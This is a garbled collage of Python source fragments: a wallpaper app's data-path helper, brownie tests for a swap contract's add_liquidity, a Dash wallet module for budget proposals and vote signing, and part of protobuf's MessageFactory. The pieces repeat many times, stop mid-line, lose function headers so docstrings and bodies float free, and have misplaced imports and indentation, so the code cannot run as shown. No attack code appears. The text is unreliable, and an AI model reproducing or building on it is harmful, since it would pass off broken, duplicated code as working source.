__version__ = "0.8.5"

import os

class project_path_not_found(Exception):
    """Raised when we can't find the project directory."""

def get_data_file(*path_segments):
    """Get the full path to a data file.

    Returns the path to a file underneath the data directory (as defined by
    `get_data_path`). Equivalent to os.path.join(get_data_path(),
    *path_segments).
    """
    return os.path.join(get_data_path(), *path_segments)

def get_data_path():
    """Retrieve variety data path

    This path is by default <variety_lib_path>/../data/ in trunk
    and /usr/share/variety in an installed version but this path
    is specified at installation time.
    """

    # Get pathname absolute or relative.
    path = os.path.join(os.path.dirname(__file__), __variety_data_directory__)

    abs_data_path = os.path.abspath(path)
    if not os.path.exists(abs_data_path):
        raise project_path_not_found

    return abs_data_path


"""Get the full path to a data file.

    Returns the path to a file underneath the data directory (as defined by
    `get_data_path`). Equivalent to os.path.join(get_data_path(),
    *path_segments).
    """
    return os.path.join(get_data_path(), *path_segments)

__all__ = ["project_path_not_found", "get_data_file", "get_data_path"]

try:
    from .variety_build_settings import __variety_data_directory__
except ImportError:
    # Variety's data directory. This is set by setup.py for permanent installations, but defaults to ../data
    __variety_data_directory__ = "../data"
__license__ = "GPL-3"
__version__ = "0.8.5"

import os

class project_path_not_found(Exception):
    """Raised when we can't find the project directory."""

def get_data_file(*path_segments):

def get_data_path():
    """Retrieve variety data path

    This path is by default <variety_lib_path>/../data/ in trunk
    and /usr/share/variety in an installed version but this path
    is specified at installation time.
    """

    # Get pathname absolute or relative.
    path = os.path.join(os.path.dirname(__file__), __variety_data_directory__)

    abs_data_path = os.path.abspath(path)
    if not os.path.exists(abs_data_path):
        raise project_path_not_found

    return abs_data_path

def get_version():
    return __version__


__all__ = ["project_path_not_found", "get_data_file", "get_data_path"]

try:
    from .variety_build_settings import __variety_data_directory__
except ImportError:
    # Variety's data directory. This is set by setup.py for permanent installations, but defaults to ../data
    __variety_data_directory__ = "../data"
__license__ = "GPL-3"
__version__ = "0.8.5"

import os

class project_path_not_found(Exception):
    """Raised when we can't find the project directory."""

def get_data_file(*path_segments):
    """Get the full path to a data file.

    Returns the path to a file underneath the data directory (as defined by
    `get_data_path`). Equivalent to os.path.join(get_data_path(),
    *path_segments).
    """
    return os.path.join(get_data_path(), *path_se


__all__ = ["project_path_not_found", "get_data_file", "get_data_path"]

try:
    from .variety_build_settings import __variety_data_directory__
except ImportError:
    # Variety's data directory. This is set by setup.py for permanent installations, but defaults to ../data
    __variety_data_directory__ = "../data"
__license__ = "GPL-3"
__version__ = "0.8.5"

import os

class project_path_not_found(Exception):
    """Raised when we can't find the project directory."""

def get_data_file(*path_segments):
    """Get the full path to a data file.

    Returns the path to a file underneath the data directory (as defined by
    `get_data_path`). Equivalent to os.path.join(get_data_path(),
    *path_segments).
    """


try:
    from .variety_build_settings import __variety_data_directory__
except ImportError:
    # Variety's data directory. This is set by setup.py for permanent installations, but defaults to ../data
    __variety_data_directory__ = "../data"

__all__ = ["project_path_not_found", "get_data_file", "get_data_path"]

__license__ = "GPL-3"
__version__ = "0.8.5"

import os

class project_path_not_found(Exception):
    """Raised when we can't find the project directory."""

def get_data_file(*path_segments):
    """Get the full path to a data file.

    Returns the path to a file underneath the data directory (as defined by
    `get_data_path`). Equivalent to os.path.join(get_data_path(),
    *path_segments).
    """
    return os.path.join(get_data_path(), *path_segments)

def get_data_path():
    """Retrieve variety data path

    This path is by default <variety_lib_path>/../data/ in trunk
    and /usr/share/variety in an installed version but this path
    is specified at installation time.
    """

    # Get pathname absolute or relative.
    path = os.path.join(os.path.dirname(__file__), __variety_data_directory__)

    abs_data_path = os.path.abspath(path)
    if not os.path.exists(abs_data_path):
        raise project_path_not_found

    return abs_data_path

def get_version():
    return __version__


def test_initial(alice, swap, coins, min_amount, decimals, initial_amounts, eth_amount):

import brownie
import pytest
from brownie import ETH_ADDRESS

pytestmark = pytest.mark.usefixtures("mint_alice", "approve_alice")

@pytest.mark.parametrize("min_amount", [0, 10 ** 18])

amounts = [10 ** i for i in decimals]

    swap.add_liquidity(
        amounts,
        len(coins) * min_amount,
        {"from": alice, "value": eth_amount(amounts[0])},
    )

    for coin, amount, initial in zip(coins, amounts, initial_amounts):
        if coin == ETH_ADDRESS:
            assert alice.balance() == initial - amount
            assert swap.balance() == amount
            continue

        assert coin.balanceOf(alice) == initial - amount
        assert coin.balanceOf(swap) == amount

@pytest.mark.parametrize("idx", range(2))
def test_initial_liquidity_missing_coin(alice, swap, idx, decimals, eth_amount):
    amounts = [10 ** i for i in decimals]
    amounts[idx] = 0
    with brownie.reverts():
        swap.add_liquidity(amounts, 0, {"from": alice, "value": eth_amount(amounts[0])})


amounts = [10 ** i for i in decimals]
    amounts[idx] = 0
    with brownie.reverts():
        swap.add_liquidity(amounts, 0, {"from": alice, "value": eth_amount(amounts[0])})

import brownie
import pytest
from brownie import ETH_ADDRESS

pytestmark = pytest.mark.usefixtures("mint_alice", "approve_alice")

@pytest.mark.parametrize("min_amount", [0, 10 ** 18])
def test_initial(alice, swap, coins, min_amount, decimals, initial_amounts, eth_amount):
    amounts = [10 ** i for i in decimals]

    swap.add_liquidity(
        amounts,
        len(coins) * min_amount,
        {"from": alice, "value": eth_amount(amounts[0])},
    )

    for coin, amount, initial in zip(coins, amounts, initial_amounts):
        if coin == ETH_ADDRESS:
            assert alice.balance() == initial - amount
            assert swap.balance() == amount
            continue

        assert coin.balanceOf(alice) == initial - amount
        assert coin.balanceOf(swap) == amount

@pytest.mark.parametrize("idx", range(2))
def test_initial_liquidity_missing_coin(alice, swap, idx, decimals, eth_amount):


import brownie
import pytest
from brownie import ETH_ADDRESS

pytestmark = pytest.mark.usefixtures("mint_alice", "approve_alice")

@pytest.mark.parametrize("min_amount", [0, 10 ** 18])
def test_initial(alice, swap, coins, min_amount, decimals, initial_amounts, eth_amount):
    amounts = [10 ** i for

    swap.add_liquidity(
        amounts,
        len(coins) * min_amount,
        {"from": alice, "value": eth_amount(amounts[0])},
    )

    for coin, amount, initial in zip(coins, amounts, initial_amounts):
        if coin == ETH_ADDRESS:
            assert alice.balance() == initial - amount
            assert swap.balance() == amount
            continue

        assert coin.balanceOf(alice) == initial - amount
        assert coin.balanceOf(swap) == amount

@pytest.mark.parametrize("idx", range(2))
def test_initial_liquidity_missing_coin(alice, swap, idx, decimals, eth_amount):
    amounts = [10 ** i for i in decimals]
    amounts[idx] = 0
    with brownie.reverts():
        swap.add_liquidity(amounts, 0, {"from": alice, "value": eth_amount(amounts[0])})


import time
import string

import bitcoin
from transaction import BCDataStream, Transaction
import util
from i18n import _

BUDGET_PAYMENTS_CYCLE_BLOCKS = 50 if bitcoin.TESTNET else 16616
SUBSIDY_HALVING_INTERVAL = 210240

safe_characters = string.ascii_letters + " .,;-_/:?@()"
def is_safe(s):
    return all(i in safe_characters for i in s)

class BudgetProposal(object):
    """A budget proposal.

    Attributes:
        - proposal_name (str): Name of the proposal.
        - proposal_url (str): URL where the proposal can be reached.
        - start_block (int): Starting block of payments.
        - end_block (int): Ending block of payments.
        - payment_amount (int): Monthly payment amount in satoshis.
        - address (str): Payment recipient.
        - fee_txid (str): Collateral transaction ID.
        - submitted (bool): Whether the proposal has been submitted.
        - rejected (bool): Whether the proposal was rejected as invalid.

    Optional attributes used when displaying proposals from the network:
        - yes_count (int): Number of votes in favor of the proposal.
        - no_count (int): Number of votes against the proposal.

    """
    @classmethod
    def from_dict(cls, d):
        return cls(**util.utfify(d))

    def __init__(self, proposal_name='', proposal_url='', start_block=0, end_block=0,
                payment_amount=0, address='', fee_txid='', submitted=False, rejected=False,
                yes_count=0, no_count=0):
        self.proposal_name = proposal_name
        self.proposal_url = proposal_url
        self.start_block = start_block
        self.end_block = end_block
        self.payment_amount = payment_amount
        self.address = address
        self.fee_txid = fee_txid
        self.submitted = submitted
        self.rejected = rejected

        self.yes_count = yes_count
        self.no_count = no_count

    def get_hash(self):
        vds = BCDataStream()
        vds.write_string(self.proposal_name)
        vds.write_string(self.proposal_url)
        vds.write_int32(self.start_block)
        vds.write_int32(self.end_block)
        vds.write_int64(self.payment_amount)
        vds.write_string(Transaction.pay_script(bitcoin.TYPE_ADDRESS, self.address).decode('hex'))
        return bitcoin.hash_encode(bitcoin.Hash(vds.input))

    def dump(self):
        kwargs = {}
        for i in ['proposal_name', 'proposal_url', 'start_block',
                'end_block', 'payment_amount', 'address', 'fee_txid', 'submitted', 'rejected']:
            kwargs[i] = getattr(self, i)
        return kwargs

    def get_payments_count(self):
        """Get the number of payments that this proposal entails."""
        return (self.end_block - self.start_block) / BUDGET_PAYMENTS_CYCLE_BLOCKS

"""Set end_block according to a number of payments."""
        payments_start = self.start_block - self.start_block % BUDGET_PAYMENTS_CYCLE_BLOCKS
        self.end_block = payments_start + BUDGET_PAYMENTS_CYCLE_BLOCKS * count
        return True

    def check_valid(self):
        """Evaluate whether this proposal is valid."""
        if not self.proposal_name:
            raise ValueError(_('A proposal name is required.'))
        elif len(self.proposal_name) > 20:
            raise ValueError(_('Proposal names have a limit of 20 characters.'))
        if not is_safe(self.proposal_name):
            raise ValueError(_('Unsafe characters in proposal name.'))

        if not self.proposal_url:
            raise ValueError(_('A proposal URL is required.'))
        elif len(self.proposal_url) > 64:
            raise ValueError(_('Proposal URLs have a limit of 64 characters.'))
        if not is_safe(self.proposal_url):
            raise ValueError(_('Unsafe characters in proposal URL.'))

        if self.end_block < self.start_block:
            raise ValueError(_('End block must be after start block.'))

        if not bitcoin.is_address(self.address):
            raise ValueError(_('Invalid address:') + ' %s' % self.address)
        addrtype, h160 = bitcoin.bc_address_to_hash_160(self.address)
        if addrtype != bitcoin.PUBKEY_ADDR:
            raise ValueError(_('Only P2PKH addresses are currently supported.'))

        if self.payment_amount < bitcoin.COIN:
            raise ValueError(_('Payments must be at least 1 DASH.'))

        # Calculate max budget.
        subsidy = 5 * bitcoin.COIN
        if bitcoin.TESTNET:
            for i in range(46200, self.start_block + 1, SUBSIDY_HALVING_INTERVAL):
                subsidy -= subsidy/14
        else:
            for i in range(SUBSIDY_HALVING_INTERVAL, self.start_block + 1, SUBSIDY_HALVING_INTERVAL):
                subsidy -= subsidy/14

        total_budget = ((subsidy/100)*10) * BUDGET_PAYMENTS_CYCLE_BLOCKS
        if self.payment_amount > total_budget:
            raise ValueError(_('Payment is more than max') + ' (%s).' % util.format_satoshis_plain(total_budget))

class BudgetVote(object):
    """A vote on a budget proposal."""
    @classmethod
    def from_dict(cls, d):
        return cls(**util.utfify(d))

    def __init__(self, vin=None, proposal_hash='', vote='ABSTAIN', timestamp=0):
        if vin is None:
            vin = {'prevout_hash':'', 'prevout_n': 0, 'scriptSig': '', 'sequence':0xffffffff}
        self.vin = vin
        self.proposal_hash = proposal_hash
        self.vote = vote
        self.timestamp = timestamp

    def serialize_for_sig(self, update_time=True):
        """Serialize the vote for signing."""
        if update_time:
            self.timestamp = int(time.time())

        s = self.get_vin_short()
        s += self.proposal_hash
        vote = '1' if self.vote.upper() == 'YES' else '0'
        s += vote

        s += str(self.timestamp)
        return s

    def sign(self, wif, current_time=None):
        """Sign the vote."""
        update_time = True
        if current_time is not None:
            self.timestamp = current_time
            update_time = False

        delegate_pubkey = bitcoin.public_key_from_private_key(wif).decode('hex')
        eckey = bitcoin.regenerate_key(wif)
        serialized = unicode(self.serialize_for_sig(update_time=update_time)).encode('utf-8')
        return eckey.sign_message(serialized, bitcoin.is_compressed(wif),
                bitcoin.public_key_to_bc_address(delegate_pubkey))

    def get_vin_short(self):
        return '%s-%d' % (self.vin['prevout_hash'], self.vin['prevout_n'])

    def dump(self):
        kwargs = {}
        for i in ['vin', 'proposal_hash', 'vote', 'timestamp']:
            kwargs[i] = getattr(self, i)
        return kwargs


kwargs = {}
        for i in ['proposal_name', 'proposal_url', 'start_block',
                'end_block', 'payment_amount', 'address', 'fee_txid', 'submitted', 'rejected']:
            kwargs[i] = getattr(self, i)
        return kwargs

import time
import string

import bitcoin
from transaction import BCDataStream, Transaction
import util
from i18n import _

BUDGET_PAYMENTS_CYCLE_BLOCKS = 50 if bitcoin.TESTNET else 16616
SUBSIDY_HALVING_INTERVAL = 210240

safe_characters = string.ascii_letters + " .,;-_/:?@()"
def is_safe(s):
    return all(i in safe_characters for i in s)

class BudgetProposal(object):
    """A budget proposal.

    Attributes:
        - proposal_name (str): Name of the proposal.
        - proposal_url (str): URL where the proposal can be reached.
        - start_block (int): Starting block of payments.
        - end_block (int): Ending block of payments.
        - payment_amount (int): Monthly payment amount in satoshis.
        - address (str): Payment recipient.
        - fee_txid (str): Collateral transaction ID.
        - submitted (bool): Whether the proposal has been submitted.
        - rejected (bool): Whether the proposal was rejected as invalid.

    Optional attributes used when displaying proposals from the network:
        - yes_count (int): Number of votes in favor of the proposal.
        - no_count (int): Number of votes against the proposal.

    """
    @classmethod
    def from_dict(cls, d):
        return cls(**util.utfify(d))

    def __init__(self, proposal_name='', proposal_url='', start_block=0, end_block=0,
                payment_amount=0, address='', fee_txid='', submitted=False, rejected=False,
                yes_count=0, no_count=0):
        self.proposal_name = proposal_name
        self.proposal_url = proposal_url
        self.start_block = start_block
        self.end_block = end_block
        self.payment_amount = payment_amount
        self.address = address
        self.fee_txid = fee_txid
        self.submitted = submitted
        self.rejected = rejected

        self.yes_count = yes_count
        self.no_count = no_count

    def get_hash(self):
        vds = BCDataStream()
        vds.write_string(self.proposal_name)
        vds.write_string(self.proposal_url)
        vds.write_int32(self.start_block)
        vds.write_int32(self.end_block)
        vds.write_int64(self.payment_amount)
        vds.write_string(Transaction.pay_script(bitcoin.TYPE_ADDRESS, self.address).decode('hex'))
        return bitcoin.hash_encode(bitcoin.Hash(vds.input))

    def dump(self):

    def get_payments_count(self):
        """Get the number of payments that this proposal entails."""
        return (self.end_block - self.start_block) / BUDGET_PAYMENTS_CYCLE_BLOCKS

    def set_payments_count(self, count):
        """Set end_block according to a number of payments."""
        payments_start = self.start_block - self.start_block % BUDGET_PAYMENTS_CYCLE_BLOCKS
        self.end_block = payments_start + BUDGET_PAYMENTS_CYCLE_BLOCKS * count
        return True

    def check_valid(self):
        """Evaluate whether this proposal is valid."""
        if not self.proposal_name:
            raise ValueError(_('A proposal name is required.'))
        elif len(self.proposal_name) > 20:
            raise ValueError(_('Proposal names have a limit of 20 characters.'))
        if not is_safe(self.proposal_name):
            raise ValueError(_('Unsafe characters in proposal name.'))

        if not self.proposal_url:
            raise ValueError(_('A proposal URL is required.'))
        elif len(self.proposal_url) > 64:
            raise ValueError(_('Proposal URLs have a limit of 64 characters.'))
        if not is_safe(self.proposal_url):
            raise ValueError(_('Unsafe characters in proposal URL.'))

        if self.end_block < self.start_block:
            raise ValueError(_('End block must be after start block.'))

        if not bitcoin.is_address(self.address):
            raise ValueError(_('Invalid address:') + ' %s' % self.address)
        addrtype, h160 = bitcoin.bc_address_to_hash_160(self.address)
        if addrtype != bitcoin.PUBKEY_ADDR:
            raise ValueError(_('Only P2PKH addresses are currently supported.'))

        if self.payment_amount < bitcoin.COIN:
            raise ValueError(_('Payments must be at least 1 DASH.'))

        # Calculate max budget.
        subsidy = 5 * bitcoin.COIN
        if bitcoin.TESTNET:
            for i in range(46200, self.start_block + 1, SUBSIDY_HALVING_INTERVAL):
                subsidy -= subsidy/14
        else:
            for i in range(SUBSIDY_HALVING_INTERVAL, self.start_block + 1, SUBSIDY_HALVING_INTERVAL):
                subsidy -= subsidy/14

        total_budget = ((subsidy/100)*10) * BUDGET_PAYMENTS_CYCLE_BLOCKS
        if self.payment_amount > total_budget:
            raise ValueError(_('Payment is more than max') + ' (%s).' % util.format_satoshis_plain(total_budget))

class BudgetVote(object):
    """A vote on a budget proposal."""
    @classmethod
    def from_dict(cls, d):
        return cls(**util.utfify(d))

    def __init__(self, vin=None, proposal_hash='', vote='ABSTAIN', timestamp=0):
        if vin is None:
            vin = {'prevout_hash':'', 'prevout_n': 0, 'scriptSig': '', 'sequence':0xffffffff}
        self.vin = vin
        self.proposal_hash = proposal_hash
        self.vote = vote
        self.timestamp = timestamp

    def serialize_for_sig(self, update_time=True):
        """Serialize the vote for signing."""
        if update_time:
            self.timestamp = int(time.time())

        s = self.get_vin_short()
        s += self.proposal_hash
        vote = '1' if self.vote.upper() == 'YES' else '0'
        s += vote

        s += str(self.timestamp)
        return s

    def sign(self, wif, current_time=None):
        """Sign the vote."""
        update_time = True
        if current_time is not None:
            self.timestamp = current_time
            update_time = False

        delegate_pubkey = bitcoin.public_key_from_private_key(wif).decode('hex')
        eckey = bitcoin.regenerate_key(wif)
        serialized = unicode(self.serialize_for_sig(update_time=update_time)).encode('utf-8')
        return eckey.sign_message(serialized, bitcoin.is_compressed(wif),
                bitcoin.public_key_to_bc_address(delegate_pubkey))

    def get_vin_short(self):
        return '%s-%d' % (self.vin['prevout_hash'], self.vin['prevout_n'])

    def dump(self):
        kwargs = {}
        for i in ['vin', 'proposal_hash', 'vote', 'timestamp']:
            kwargs[i] = getattr(self, i)
        return kwargs


import time
import string

import bitcoin
from transaction import BCDataStream, Transaction
import util
from i18n import _

BUDGET_PAYMENTS_CYCLE_BLOCKS = 50 if bitcoin.TESTNET else 16616
SUBSIDY_HALVING_INTERVAL = 210240

safe_characters = string.ascii_letters + " .,;-_/:?@()"
def is_safe(s):
    return all(i in safe_characters for i in s)

class BudgetProposal(object):
    """A budget proposal.

    Attributes:
        - proposal_name (str): Name of the proposal.
        - proposal_url (str): URL where the proposal can be reached.
        - start_block (int): Starting block of payments.
        - end_block (int): Ending block of payments.
        - payment_amount (int): Monthly payment amount in satoshis.
        - address (str): Payment recipient.
        - fee_txid (str): Collateral transaction ID.
        - submitted (bool): Whether the proposal has been submitted.
        - rejected (bool): Whether the proposal was rejected as invalid.

    Optional attributes used when displaying proposals from the network:
        - yes_count (int): Number of votes in favor of the proposal.
        - no_count (int): Number of votes against the proposal.

    """
    @classmethod
    def from_dict(cls, d):
        return cls(**util.utfify(d))

    def __init__(self, proposal_name='', proposal_url='', start_block=0, end_block=0,
                payment_amount=0, address='', fee_txid='', submitted=False, rejected=False,
                yes_count=0, no_count=0):
        self.proposal_name = proposal_name
        self.proposal_url = proposal_url
        self.start_block = start_block
        self.end_block = end_block
        self.payment_amount = payment_amount
        self.address = address
        self.fee_txid = fee_txid
        self.submitted =

        self.rejected = rejected

        self.yes_count = yes_count
        self.no_count = no_count

    def get_hash(self):
        vds = BCDataStream()
        vds.write_string(self.proposal_name)
        vds.write_string(self.proposal_url)
        vds.write_int32(self.start_block)
        vds.write_int32(self.end_block)
        vds.write_int64(self.payment_amount)
        vds.write_string(Transaction.pay_script(bitcoin.TYPE_ADDRESS, self.address).decode('hex'))
        return bitcoin.hash_encode(bitcoin.Hash(vds.input))

    def dump(self):
        kwargs = {}
        for i in ['proposal_name', 'proposal_url', 'start_block',
                'end_block', 'payment_amount', 'address', 'fee_txid', 'submitted', 'rejected']:
            kwargs[i] = getattr(self, i)
        return kwargs

    def get_payments_count(self):
        """Get the number of payments that this proposal entails."""
        return (self.end_block - self.start_block) / BUDGET_PAYMENTS_CYCLE_BLOCKS

    def set_payments_count(self, count):
        """Set end_block according to a number of payments."""
        payments_start = self.start_block - self.start_block % BUDGET_PAYMENTS_CYCLE_BLOCKS
        self.end_block = payments_start + BUDGET_PAYMENTS_CYCLE_BLOCKS * count
        return True

    def check_valid(self):
        """Evaluate whether this proposal is valid."""
        if not self.proposal_name:
            raise ValueError(_('A proposal name is required.'))
        elif len(self.proposal_name) > 20:
            raise ValueError(_('Proposal names have a limit of 20 characters.'))
        if not is_safe(self.proposal_name):
            raise ValueError(_('Unsafe characters in proposal name.'))

        if not self.proposal_url:
            raise ValueError(_('A proposal URL is required.'))
        elif len(self.proposal_url) > 64:
            raise ValueError(_('Proposal URLs have a limit of 64 characters.'))
        if not is_safe(self.proposal_url):
            raise ValueError(_('Unsafe characters in proposal URL.'))

        if self.end_block < self.start_block:
            raise ValueError(_('End block must be after start block.'))

        if not bitcoin.is_address(self.address):
            raise ValueError(_('Invalid address:') + ' %s' % self.address)
        addrtype, h160 = bitcoin.bc_address_to_hash_160(self.address)
        if addrtype != bitcoin.PUBKEY_ADDR:
            raise ValueError(_('Only P2PKH addresses are currently supported.'))

        if self.payment_amount < bitcoin.COIN:
            raise ValueError(_('Payments must be at least 1 DASH.'))

        # Calculate max budget.
        subsidy = 5 * bitcoin.COIN
        if bitcoin.TESTNET:
            for i in range(46200, self.start_block + 1, SUBSIDY_HALVING_INTERVAL):
                subsidy -= subsidy/14
        else:
            for i in range(SUBSIDY_HALVING_INTERVAL, self.start_block + 1, SUBSIDY_HALVING_INTERVAL):
                subsidy -= subsidy/14

        total_budget = ((subsidy/100)*10) * BUDGET_PAYMENTS_CYCLE_BLOCKS
        if self.payment_amount > total_budget:
            raise ValueError(_('Payment is more than max') + ' (%s).' % util.format_satoshis_plain(total_budget))

class BudgetVote(object):
    """A vote on a budget proposal."""
    @classmethod
    def from_dict(cls, d):
        return cls(**util.utfify(d))

    def __init__(self, vin=None, proposal_hash='', vote='ABSTAIN', timestamp=0):
        if vin is None:
            vin = {'prevout_hash':'', 'prevout_n': 0, 'scriptSig': '', 'sequence':0xffffffff}
        self.vin = vin
        self.proposal_hash = proposal_hash
        self.vote = vote
        self.timestamp = timestamp

    def serialize_for_sig(self, update_time=True):
        """Serialize the vote for signing."""
        if update_time:
            self.timestamp = int(time.time())

        s = self.get_vin_short()
        s += self.proposal_hash
        vote = '1' if self.vote.upper() == 'YES' else '0'
        s += vote

        s += str(self.timestamp)
        return s

    def sign(self, wif, current_time=None):
        """Sign the vote."""
        update_time = True
        if current_time is not None:
            self.timestamp = current_time
            update_time = False

        delegate_pubkey = bitcoin.public_key_from_private_key(wif).decode('hex')
        eckey = bitcoin.regenerate_key(wif)
        serialized = unicode(self.serialize_for_sig(update_time=update_time)).encode('utf-8')
        return eckey.sign_message(serialized, bitcoin.is_compressed(wif),
                bitcoin.public_key_to_bc_address(delegate_pubkey))

    def get_vin_short(self):
        return '%s-%d' % (self.vin['prevout_hash'], self.vin['prevout_n'])

    def dump(self):
        kwargs = {}
        for i in ['vin', 'proposal_hash', 'vote', 'timestamp']:
            kwargs[i] = getattr(self, i)
        return kwargs


        update_time = True
        if current_time is not None:
            self.timestamp = current_time
            update_time = False

        delegate_pubkey = bitcoin.public_key_from_private_key(wif).decode('hex')
        eckey = bitcoin.regenerate_key(wif)
        serialized = unicode(self.serialize_for_sig(update_time=update_time)).encode('utf-8')
        return eckey.sign_message(serialized, bitcoin.is_compressed(wif),
                bitcoin.public_key_to_bc_address(delegate_pubkey))

import time
import string

import bitcoin
from transaction import BCDataStream, Transaction
import util
from i18n import _

BUDGET_PAYMENTS_CYCLE_BLOCKS = 50 if bitcoin.TESTNET else 16616
SUBSIDY_HALVING_INTERVAL = 210240

safe_characters = string.ascii_letters + " .,;-_/:?@()"
def is_safe(s):
    return all(i in safe_characters for i in s)

class BudgetProposal(object):
    """A budget proposal.

    Attributes:
        - proposal_name (str): Name of the proposal.
        - proposal_url (str): URL where the proposal can be reached.
        - start_block (int): Starting block of payments.
        - end_block (int): Ending block of payments.
        - payment_amount (int): Monthly payment amount in satoshis.
        - address (str): Payment recipient.
        - fee_txid (str): Collateral transaction ID.
        - submitted (bool): Whether the proposal has been submitted.
        - rejected (bool): Whether the proposal was rejected as invalid.

    Optional attributes used when displaying proposals from the network:
        - yes_count (int): Number of votes in favor of the proposal.
        - no_count (int): Number of votes against the proposal.

    """
    @classmethod
    def from_dict(cls, d):
        return cls(**util.utfify(d))

    def __init__(self, proposal_name='', proposal_url='', start_block=0, end_block=0,
                payment_amount=0, address='', fee_txid='', submitted=False, rejected=False,
                yes_count=0, no_count=0):
        self.proposal_name = proposal_name
        self.proposal_url = proposal_url
        self.start_block = start_block
        self.end_block = end_block
        self.payment_amount = payment_amount
        self.address = address
        self.fee_txid = fee_txid
        self.submitted = submitted
        self.rejected = rejected

        self.yes_count = yes_count
        self.no_count = no_count

    def get_hash(self):
        vds = BCDataStream()
        vds.write_string(self.proposal_name)
        vds.write_string(self.proposal_url)
        vds.write_int32(self.start_block)
        vds.write_int32(self.end_block)
        vds.write_int64(self.payment_amount)
        vds.write_string(Transaction.pay_script(bitcoin.TYPE_ADDRESS, self.address).decode('hex'))
        return bitcoin.hash_encode(bitcoin.Hash(vds.input))

    def dump(self):
        kwargs = {}
        for i in ['proposal_name', 'proposal_url', 'start_block',
                'end_block', 'payment_amount', 'address', 'fee_txid', 'submitted', 'rejected']:
            kwargs[i] = getattr(self, i)
        return kwargs

    def get_payments_count(self):
        """Get the number of payments that this proposal entails."""
        return (self.end_block - self.start_block) / BUDGET_PAYMENTS_CYCLE_BLOCKS

    def set_payments_count(self, count):
        """Set end_block according to a number of payments."""
        payments_start = self.start_block - self.start_block % BUDGET_PAYMENTS_CYCLE_BLOCKS
        self.end_block = payments_start + BUDGET_PAYMENTS_CYCLE_BLOCKS * count
        return True

    def check_valid(self):
        """Evaluate whether this proposal is valid."""
        if not self.proposal_name:
            raise ValueError(_('A proposal name is required.'))
        elif len(self.proposal_name) > 20:
            raise ValueError(_('Proposal names have a limit of 20 characters.'))
        if not is_safe(self.proposal_name):
            raise ValueError(_('Unsafe characters in proposal name.'))

        if not self.proposal_url:
            raise ValueError(_('A proposal URL is required.'))
        elif len(self.proposal_url) > 64:
            raise ValueError(_('Proposal URLs have a limit of 64 characters.'))
        if not is_safe(self.proposal_url):
            raise ValueError(_('Unsafe characters in proposal URL.'))

        if self.end_block < self.start_block:
            raise ValueError(_('End block must be after start block.'))

        if not bitcoin.is_address(self.address):
            raise ValueError(_('Invalid address:') + ' %s' % self.address)
        addrtype, h160 = bitcoin.bc_address_to_hash_160(self.address)
        if addrtype != bitcoin.PUBKEY_ADDR:
            raise ValueError(_('Only P2PKH addresses are currently supported.'))

        if self.payment_amount < bitcoin.COIN:
            raise ValueError(_('Payments must be at least 1 DASH.'))

        # Calculate max budget.
        subsidy = 5 * bitcoin.COIN
        if bitcoin.TESTNET:
            for i in range(46200, self.start_block + 1, SUBSIDY_HALVING_INTERVAL):
                subsidy -= subsidy/14
        else:
            for i in range(SUBSIDY_HALVING_INTERVAL, self.start_block + 1, SUBSIDY_HALVING_INTERVAL):
                subsidy -= subsidy/14

        total_budget = ((subsidy/100)*10) * BUDGET_PAYMENTS_CYCLE_BLOCKS
        if self.payment_amount > total_budget:
            raise ValueError(_('Payment is more than max') + ' (%s).' % util.format_satoshis_plain(total_budget))

class BudgetVote(object):
    """A vote on a budget proposal."""
    @classmethod
    def from_dict(cls, d):
        return cls(**util.utfify(d))

    def __init__(self, vin=None, proposal_hash='', vote='ABSTAIN', timestamp=0):
        if vin is None:
            vin = {'prevout_hash':'', 'prevout_n': 0, 'scriptSig': '', 'sequence':0xffffffff}
        self.vin = vin
        self.proposal_hash = proposal_hash
        self.vote = vote
        self.timestamp = timestamp

    def serialize_for_sig(self, update_time=True):
        """Serialize the vote for signing."""
        if update_time:
            self.timestamp = int(time.time())

        s = self.get_vin_short()
        s += self.proposal_hash
        vote = '1' if self.vote.upper() == 'YES' else '0'
        s += vote

        s += str(self.timestamp)
        return s

    def sign(self, wif, current_time=None):
        """Sign the vote."""

    def get_vin_short(self):
        return '%s-%d' % (self.vin['prevout_hash'], self.vin['prevout_n'])

    def dump(self):
        kwargs = {}
        for i in ['vin', 'proposal_hash', 'vote', 'timestamp']:
            kwargs[i] = getattr(self, i)
        return kwargs


# Protocol Buffers - Google's data interchange format

"""Provides a factory class for generating dynamic messages.

The easiest way to use this class is if you have access to the FileDescriptor
protos containing the messages you want to create you can just do the following:

message_classes = message_factory.GetMessages(iterable_of_file_descriptors)
my_proto_instance = message_classes['some.proto.package.MessageName']()
"""

__author__ = 'example@nnthink.com (Matt Toia)'

from google.protobuf import descriptor_pool
from google.protobuf import message
from google.protobuf import reflection

class MessageFactory(object):
  """Factory for creating Proto2 messages from descriptors in a pool."""

  def __init__(self, pool=None):
    """Initializes a new factory."""
    self.pool = pool or descriptor_pool.DescriptorPool()

    # local cache of all classes built from protobuf descriptors
    self._classes = {}

  def GetPrototype(self, descriptor):
    """Builds a proto2 message class based on the passed in descriptor.

    Passing a descriptor with a fully qualified name matching a previous
    invocation will cause the same class to be returned.

    Args:
      descriptor: The descriptor to build from.

    Returns:
      A class describing the passed in descriptor.
    """
    if descriptor.full_name not in self._classes:
      descriptor_name = descriptor.name
      if str is bytes:  # PY2
        descriptor_name = descriptor.name.encode('ascii', 'ignore')
      result_class = reflection.GeneratedProtocolMessageType(
          descriptor_name,
          (message.Message,),
          {'DESCRIPTOR': descriptor, '__module__': None})
          # If module not set, it wrongly points to the reflection.py module.
      self._classes[descriptor.full_name] = result_class
      for field in descriptor.fields:
        if field.message_type:
          self.GetPrototype(field.message_type)
      for extension in result_class.DESCRIPTOR.extensions:
        if extension.containing_type.full_name not in self._classes:
          self.GetPrototype(extension.containing_type)
        extended_class = self._classes[extension.containing_type.full_name]
        extended_class.RegisterExtension(extension)
    return self._classes[descriptor.full_name]

"""Gets all the messages from a specified file.

    This will find and resolve dependencies, failing if the descriptor
    pool cannot satisfy them.

    Args:
      files: The file names to extract messages from.

    Returns:
      A dictionary mapping proto names to the message classes. This will include
      any dependent messages as well as any messages defined in the same file as
      a specified message.
    """
    result = {}
    for file_name in files:
      file_desc = self.pool.FindFileByName(file_name)
      for desc in file_desc.message_types_by_name.values():
        result[desc.full_name] = self.GetPrototype(desc)

      # While the extension FieldDescriptors are created by the descriptor pool,
      # the python classes created in the factory need them to be registered
      # explicitly, which is done below.
      # The call to RegisterExtension will specifically check if the
      # extension was already registered on the object and either
      # ignore the registration if the original was the same, or raise
      # an error if they were different.

      for extension in file_desc.extensions_by_name.values():
        if extension.containing_type.full_name not in self._classes:
          self.GetPrototype(extension.containing_type)
